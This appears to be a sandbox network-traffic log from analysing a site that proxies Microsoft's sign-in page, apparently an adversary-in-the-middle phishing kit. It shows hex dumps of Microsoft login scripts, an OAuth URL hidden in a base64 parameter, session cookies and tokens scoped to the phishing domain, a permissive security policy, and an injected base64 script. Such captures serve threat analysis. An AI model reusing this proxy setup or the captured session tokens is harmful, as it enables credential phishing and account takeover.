2024-05-07 18:31:42 UTC	1343	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2985378 Cache-Control: public, max-age=31536000 Content-MD5: OdlDOzXlgXZa124Z7O0jlA== Content-Type: application/x-javascript Date: Tue, 07 May 2024 18:31:42 GMT Etag: 0x8DC52767B578035 Last-Modified: Mon, 01 Apr 2024 18:06:40 GMT Server: ECAcc (frc/4CE0) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 58f41a24-901e-00de-7785-85cc5d000000 x-ms-version: 2009-09-19 content-length: 141320 Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-05-07 18:31:42 UTC	15041	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-05-07 18:31:42 UTC	16384	IN	Data Raw: 70 61 6e 22 29 3b 65 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 4c 65 66 74 43 6f 6c 6f 72 3d 22 72 65 64 22 2c 65 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 69 67 68 74 43 6f 6c 6f 72 3d 22 62 6c 75 65 22 2c 65 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 61 62 73 6f 6c 75 74 65 22 2c 65 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 2d 39 39 39 70 78 22 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 3b 76 61 72 20 6e 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 29 3b 45 3d 6e 2e 62 6f 72 64 65 72 4c 65 66 74 43 6f 6c 6f 72 3d 3d 3d 6e 2e 62 6f 72 64 65 72 52 69 67 68 74 43 6f 6c 6f 72 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 65 29 7d 72 65 74 75 72 6e 20 45 7d 2c 67 Data Ascii: pan");e.style.borderLeftColor="red",e.style.borderRightColor="blue",e.style.position="absolute",e.style.top="-999px",document.body.appendChild(e);var n=_.getComputedStyle(e);E=n.borderLeftColor===n.borderRightColor,document.body.removeChild(e)}return E},g
2024-05-07 18:31:42 UTC	16384	IN	Data Raw: 54 69 6d 65 64 4f 75 74 3a 31 30 32 39 2c 53 65 6e 64 4e 6f 74 69 66 69 63 61 74 69 6f 6e 46 61 69 6c 65 64 3a 31 30 33 30 2c 53 65 72 76 65 72 5f 4d 65 73 73 61 67 65 4f 6e 6c 79 3a 39 39 39 39 2c 50 50 5f 45 5f 44 42 5f 4d 45 4d 42 45 52 44 4f 45 53 4e 4f 54 45 58 49 53 54 3a 22 43 46 46 46 46 43 31 35 22 2c 50 50 5f 45 5f 45 58 43 4c 55 44 45 44 3a 22 38 30 30 34 31 30 31 30 22 2c 50 50 5f 45 5f 4d 45 4d 42 45 52 5f 4c 4f 43 4b 45 44 3a 22 38 30 30 34 31 30 31 31 22 2c 50 50 5f 45 5f 42 41 44 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 31 30 31 32 22 2c 50 50 5f 45 5f 4d 49 53 53 49 4e 47 5f 4d 45 4d 42 45 52 4e 41 4d 45 3a 22 38 30 30 34 31 30 33 31 22 2c 50 50 5f 45 5f 4d 49 53 53 49 4e 47 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 31 30 33 32 22 Data Ascii: TimedOut:1029,SendNotificationFailed:1030,Server_MessageOnly:9999,PP_E_DB_MEMBERDOESNOTEXIST:"CFFFFC15",PP_E_EXCLUDED:"80041010",PP_E_MEMBER_LOCKED:"80041011",PP_E_BAD_PASSWORD:"80041012",PP_E_MISSING_MEMBERNAME:"80041031",PP_E_MISSING_PASSWORD:"80041032"
2024-05-07 18:31:43 UTC	16384	IN	Data Raw: 20 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 6e 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 6e 2c 74 2c 72 29 7b 76 61 72 20 6f 3d 65 5b 6e 5d 2e 6d 61 74 63 68 28 62 29 7c 7c 5b 5d 3b 53 2e 61 2e 44 28 74 2e 6d 61 74 63 68 28 62 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 2e 61 2e 4e 61 28 6f 2c 65 2c 72 29 7d 29 29 2c 65 5b 6e 5d 3d 6f 2e 6a 6f 69 6e 28 22 20 22 29 7d 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 69 3d 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 2c 66 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2c 70 3d 7b 7d 2c 68 3d 7b 7d 3b 70 5b 63 26 26 2f 46 69 72 65 66 6f 78 5c 2f 32 2f 69 2e 74 65 Data Ascii: e.__proto__=n,e}function r(e,n,t,r){var o=e[n].match(b)\|\|[];S.a.D(t.match(b),(function(e){S.a.Na(o,e,r)})),e[n]=o.join(" ")}var o=Object.prototype.hasOwnProperty,i={__proto__:[]}instanceof Array,f="function"==typeof Symbol,p={},h={};p[c&&/Firefox\/2/i.te
2024-05-07 18:31:43 UTC	16384	IN	Data Raw: 69 66 28 74 29 7b 69 66 28 21 53 2e 51 63 28 65 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 4f 6e 6c 79 20 73 75 62 73 63 72 69 62 61 62 6c 65 20 74 68 69 6e 67 73 20 63 61 6e 20 61 63 74 20 61 73 20 64 65 70 65 6e 64 65 6e 63 69 65 73 22 29 3b 74 2e 6f 64 2e 63 61 6c 6c 28 74 2e 70 64 2c 65 2c 65 2e 66 64 7c 7c 28 65 2e 66 64 3d 2b 2b 6f 29 29 7d 7d 2c 47 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6f 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 65 28 29 2c 74 2e 61 70 70 6c 79 28 72 2c 6f 7c 7c 5b 5d 29 7d 66 69 6e 61 6c 6c 79 7b 6e 28 29 7d 7d 2c 71 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 29 72 65 74 75 72 6e 20 74 2e 6f 2e 71 61 28 29 7d 2c 56 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 29 72 65 74 75 72 6e 20 74 2e 6f 2e 56 61 28 29 7d 2c Data Ascii: if(t){if(!S.Qc(e))throw Error("Only subscribable things can act as dependencies");t.od.call(t.pd,e,e.fd\|\|(e.fd=++o))}},G:function(t,r,o){try{return e(),t.apply(r,o\|\|[])}finally{n()}},qa:function(){if(t)return t.o.qa()},Va:function(){if(t)return t.o.Va()},
2024-05-07 18:31:43 UTC	16384	IN	Data Raw: 74 42 69 6e 64 69 6e 67 73 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 54 79 70 65 29 7b 63 61 73 65 20 31 3a 72 65 74 75 72 6e 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 62 69 6e 64 22 29 3b 63 61 73 65 20 38 3a 72 65 74 75 72 6e 20 53 2e 68 2e 56 64 28 65 29 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 7d 2c 70 61 72 73 65 42 69 6e 64 69 6e 67 73 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 2c 72 29 7b 74 72 79 7b 76 61 72 20 6f 2c 69 3d 74 68 69 73 2e 6e 64 2c 61 3d 65 2b 28 72 26 26 72 2e 76 61 6c 75 65 41 63 63 65 73 73 6f 72 73 7c 7c 22 22 29 3b 69 66 28 21 28 6f 3d 69 5b 61 5d 29 29 7b 76 61 72 20 73 2c 75 3d 22 77 69 74 68 28 24 63 6f 6e Data Ascii: tBindingsString:function(e){switch(e.nodeType){case 1:return e.getAttribute("data-bind");case 8:return S.h.Vd(e);default:return null}},parseBindingsString:function(e,n,t,r){try{var o,i=this.nd,a=e+(r&&r.valueAccessors\|\|"");if(!(o=i[a])){var s,u="with($con
2024-05-07 18:31:43 UTC	16384	IN	Data Raw: 61 72 20 72 3d 74 79 70 65 6f 66 20 6e 3b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 72 3f 6e 28 65 29 3a 22 73 74 72 69 6e 67 22 3d 3d 72 3f 65 5b 6e 5d 3a 74 7d 66 75 6e 63 74 69 6f 6e 20 69 28 6e 2c 74 29 7b 69 66 28 68 26 26 6c 29 53 2e 69 2e 6d 61 28 65 2c 53 2e 69 2e 48 29 3b 65 6c 73 65 20 69 66 28 70 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 72 3d 30 3c 3d 53 2e 61 2e 41 28 70 2c 53 2e 77 2e 4d 28 74 5b 30 5d 29 29 3b 53 2e 61 2e 5a 63 28 74 5b 30 5d 2c 72 29 2c 68 26 26 21 72 26 26 53 2e 75 2e 47 28 53 2e 61 2e 46 62 2c 6e 75 6c 6c 2c 5b 65 2c 22 63 68 61 6e 67 65 22 5d 29 7d 7d 76 61 72 20 73 3d 65 2e 6d 75 6c 74 69 70 6c 65 2c 75 3d 30 21 3d 65 2e 6c 65 6e 67 74 68 26 26 73 3f 65 2e 73 63 72 6f 6c 6c 54 6f 70 3a 6e 75 6c 6c 2c 63 3d 53 Data Ascii: ar r=typeof n;return"function"==r?n(e):"string"==r?e[n]:t}function i(n,t){if(h&&l)S.i.ma(e,S.i.H);else if(p.length){var r=0<=S.a.A(p,S.w.M(t[0]));S.a.Zc(t[0],r),h&&!r&&S.u.G(S.a.Fb,null,[e,"change"])}}var s=e.multiple,u=0!=e.length&&s?e.scrollTop:null,c=S
2024-05-07 18:31:43 UTC	16384	IN	Data Raw: 7b 69 66 28 30 3c 3d 6c 2e 74 6d 70 6c 2e 74 61 67 2e 74 6d 70 6c 2e 6f 70 65 6e 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 5f 5f 22 29 29 72 65 74 75 72 6e 20 32 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 31 7d 28 29 3b 74 68 69 73 2e 72 65 6e 64 65 72 54 65 6d 70 6c 61 74 65 53 6f 75 72 63 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 2c 6f 29 7b 69 66 28 6f 3d 6f 7c 7c 75 2c 72 3d 72 7c 7c 7b 7d 2c 32 3e 65 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 59 6f 75 72 20 76 65 72 73 69 6f 6e 20 6f 66 20 6a 51 75 65 72 79 2e 74 6d 70 6c 20 69 73 20 74 6f 6f 20 6f 6c 64 2e 20 50 6c 65 61 73 65 20 75 70 67 72 61 64 65 20 74 6f 20 6a 51 75 65 72 79 2e 74 6d 70 6c 20 31 2e 30 2e 30 70 72 65 20 6f 72 20 6c 61 74 65 72 2e 22 29 3b 76 Data Ascii: {if(0<=l.tmpl.tag.tmpl.open.toString().indexOf("__"))return 2}catch(e){}return 1}();this.renderTemplateSource=function(n,t,r,o){if(o=o\|\|u,r=r\|\|{},2>e)throw Error("Your version of jQuery.tmpl is too old. Please upgrade to jQuery.tmpl 1.0.0pre or later.");v
2024-05-07 18:31:43 UTC	11591	IN	Data Raw: 28 65 2c 6e 2c 74 29 7b 76 61 72 20 72 3d 74 28 33 29 2c 6f 3d 74 28 32 31 29 2c 69 3d 74 28 37 29 2c 61 3d 74 28 30 29 2c 73 3d 74 28 31 29 2c 75 3d 74 28 39 29 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 77 69 6e 64 6f 77 2e 53 65 72 76 65 72 44 61 74 61 29 2c 63 3d 74 28 35 29 2c 6c 3d 77 69 6e 64 6f 77 2c 64 3d 6c 2e 24 43 6f 6e 66 69 67 7c 7c 6c 2e 53 65 72 76 65 72 44 61 74 61 7c 7c 7b 7d 2c 66 3d 61 2e 4f 62 6a 65 63 74 2c 70 3d 73 2e 51 75 65 72 79 53 74 72 69 6e 67 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 2c 74 3d 21 31 21 3d 3d 28 65 3d 65 7c 7c 7b 7d 29 2e 63 68 65 63 6b 41 70 69 43 61 6e 61 72 79 2c 61 3d 65 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 7c 7c 21 31 2c 73 3d 65 2e 62 72 65 Data Ascii: (e,n,t){var r=t(3),o=t(21),i=t(7),a=t(0),s=t(1),u=t(9).getInstance(window.ServerData),c=t(5),l=window,d=l.$Config\|\|l.ServerData\|\|{},f=a.Object,p=s.QueryString;e.exports=function(e){var n=this,t=!1!==(e=e\|\|{}).checkApiCanary,a=e.withCredentials\|\|!1,s=e.bre

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49797	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:44 UTC	3213	OUT	GET /?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv8; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8DVO5JEAlIBf1bEL79vRWgj5g8g0xL0BOYUVc8qCC-DH2Ns4vn-TbExgmXr7FjOq8FGIRA0BWlQLNCDmMP1MMbh3MIIlvzGMP1DkEpylUGgcFoimhg6YGTXAwfKIjIEO-LXnny-ojEG00ryXdYJdlgVv5uLutPJUGeMC1Bi5mKNkgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-05-07 18:31:45 UTC	2445	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 05318a4b-7d02-46f6-b349-7fe9267e4d00 x-ms-ests-server: 2.1.17968.10 - NEULR1 ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; expires=Thu, 06-Jun-2024 18:31:44 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; domain=ihvnbhbvhbasdjbhjvbfh.site; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; domain=ihvnbhbvhbasdjbhjvbfh.site; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; expires=Thu, 06-Jun-2024 18:31:44 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Tue, 07 May 2024 18:31:44 GMT Connection: close content-length: 38931 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-05-07 18:31:45 UTC	13939	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --> <!DOCTYPE html> <html dir="ltr" class="" lang="en"> <head> <script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xd
2024-05-07 18:31:45 UTC	16384	IN	Data Raw: 51 6b 78 46 52 77 4b 6a 4b 5a 6f 53 46 6f 49 68 70 48 44 4b 69 57 4e 6d 52 65 37 61 74 63 42 45 63 4d 64 34 71 50 31 77 65 48 54 63 61 5a 56 4e 62 4e 6b 37 5a 44 6d 71 57 6d 49 4d 79 5f 32 49 48 4d 31 6d 30 33 71 39 6d 4a 42 54 37 63 45 77 71 53 54 36 64 71 38 53 4c 46 54 45 72 6d 32 57 56 73 4d 56 70 57 6d 59 70 6a 47 4d 44 44 61 48 78 65 68 43 44 53 32 73 74 4a 67 36 42 2d 56 47 75 69 59 73 39 56 57 2d 6b 56 35 63 52 4d 57 30 57 42 44 76 46 66 52 30 4f 4e 43 7a 34 30 77 5f 74 6b 66 2d 56 31 64 76 53 57 72 38 64 41 75 33 44 30 6b 4b 6d 31 72 62 71 42 34 35 77 56 63 6e 4f 48 4e 4f 51 56 4a 79 75 37 30 2d 34 69 70 78 67 37 68 77 67 74 65 75 63 61 32 4c 7a 35 44 4c 4d 66 6f 5a 66 35 64 36 5f 4f 33 57 6f 7a 52 78 36 47 4c 56 58 4a 44 56 7a 46 4b 73 30 78 32 Data Ascii: QkxFRwKjKZoSFoIhpHDKiWNmRe7atcBEcMd4qP1weHTcaZVNbNk7ZDmqWmIMy_2IHM1m03q9mJBT7cEwqST6dq8SLFTErm2WVsMVpWmYpjGMDDaHxehCDS2stJg6B-VGuiYs9VW-kV5cRMW0WBDvFfR0ONCz40w_tkf-V1dvSWr8dAu3D0kKm1rbqB45wVcnOHNOQVJyu70-4ipxg7hwgteuca2Lz5DLMfoZf5d6_O3WozRx6GLVXJDVzFKs0x2
2024-05-07 18:31:45 UTC	8608	IN	Data Raw: 2c 77 3d 74 68 69 73 2c 45 3d 5b 5d 3b 77 2e 72 65 74 72 79 4f 6e 45 72 72 6f 72 3d 21 30 2c 77 2e 73 75 63 63 65 73 73 4d 65 73 73 61 67 65 3d 22 4c 6f 61 64 65 64 22 2c 77 2e 66 61 69 6c 4d 65 73 73 61 67 65 3d 22 45 72 72 6f 72 22 2c 77 2e 41 64 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 72 2c 74 2c 6e 2c 6f 2c 69 29 7b 65 26 26 45 2e 70 75 73 68 28 7b 22 73 72 63 50 61 74 68 22 3a 65 2c 22 69 64 22 3a 72 2c 22 72 65 74 72 79 22 3a 6e 7c 7c 30 2c 22 78 69 6e 74 65 67 72 69 74 79 22 3a 74 2c 22 74 61 67 4e 61 6d 65 22 3a 6f 7c 7c 22 73 63 72 69 70 74 22 2c 22 6f 6e 53 75 63 63 65 73 73 22 3a 69 7d 29 7d 2c 77 2e 41 64 64 46 6f 72 52 65 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 72 29 7b 0a 76 61 72 20 74 3d 65 2e 73 72 63 7c 7c 65 2e 68 72 65 66 7c 7c Data Ascii: ,w=this,E=[];w.retryOnError=!0,w.successMessage="Loaded",w.failMessage="Error",w.Add=function(e,r,t,n,o,i){e&&E.push({"srcPath":e,"id":r,"retry":n\|\|0,"xintegrity":t,"tagName":o\|\|"script","onSuccess":i})},w.AddForReload=function(e,r){ var t=e.src\|\|e.href\|\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49796	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
